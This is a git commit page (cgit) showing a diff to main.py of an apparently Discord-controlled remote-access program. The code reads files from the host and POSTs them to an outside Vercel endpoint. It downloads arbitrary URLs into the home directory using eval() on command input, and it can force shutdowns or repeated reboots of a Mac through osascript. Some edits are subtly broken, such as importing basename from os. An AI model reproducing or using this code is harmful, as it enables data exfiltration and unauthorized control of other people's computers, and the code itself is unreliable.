summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-09-03 10:20:25 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-09-03 10:20:25 +0800
commit7792884d2f3db6b26af852a06dfc20fc767040f2 (patch)
tree8c55c7ce9ff81e642403af54c2475534c696098f /main.py
parent1e99eabb350b488e4474c7dbb1a953b1f383eed7 (diff)
updated \& fixed syspower func .syspower file
Diffstat (limited to 'main.py')
-rw-r--r--main.py20
1 files changed, 12 insertions, 8 deletions
diff --git a/main.py b/main.py
index 5b13106..083e669 100644
--- a/main.py
+++ b/main.py
@@ -4,7 +4,7 @@ try:
from time import sleep
from subprocess import Popen as system
from subprocess import PIPE
- from os import chdir, uname, devnull, getcwd
+ from os import chdir, uname, devnull, getcwd, basename
from sys import platform, stdout, stderr
old_command = ""
@@ -72,8 +72,12 @@ while True:
if command.startswith("get "):
localcmd = command.split()
path = localcmd[1]
- open("output.txt", 'wb').write(open(str("../"+path), 'rb').read())
- file = [str(path), open("output.txt", 'rb').read()]
+ try:
+ open("output.txt", 'wb').write(open(str("../"+path), 'r').read())
+ file = [str(path), open("output.txt", 'r').read()]
+ except UnicodeDecodeError:
+ open("output.txt", 'wb').write(open(str("../"+path), 'rb').read())
+ file = [str(path), open("output.txt", 'rb').read()]
file = "FILE " + str(file)
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file)
@@ -86,8 +90,8 @@ while True:
files = eval(localcmd[1])
for fileUrl in files:
fileData = get(fileUrl).content
- fileName = path.basename(fileUrl)
- filePath = os.path.expanduser("~")
+ fileName = basename(fileUrl)
+ filePath = expanduser("~")
with open(f"{filePath}/{fileName}", 'wb') as f:
f.write(fileData)
f.close()
@@ -171,7 +175,7 @@ while True:
exit()
elif command.startswith('syspower'):
localcmd = command.split()
- if localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'):
+ if localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"):
try:
if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff':
if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0:
@@ -243,11 +247,11 @@ while True:
except KeyboardInterrupt:
continue
continue
- open(f"{expanduser('~')/.syspower}", 'w').close()
+ open(f"{expanduser('~')}/.syspower", 'w').close()
except:
continue
- elif localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'):
+ elif localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"):
if localcmd[1] == 'keepreboot':
if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0:
try: